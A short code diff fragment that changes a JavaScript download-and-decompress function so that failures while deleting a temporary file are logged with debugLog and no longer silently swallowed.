+            try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
             reject(err);
           }
         });
@@ -110,7 +111,7 @@ function downloadAndDecompress(url, destPath) {
         res.on('error', (err) => {
           gunzip.destroy();
           fileStream.destroy();
-          try { fs.unlinkSync(tmpPath); } catch {}
+          try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
           reject(err);
         });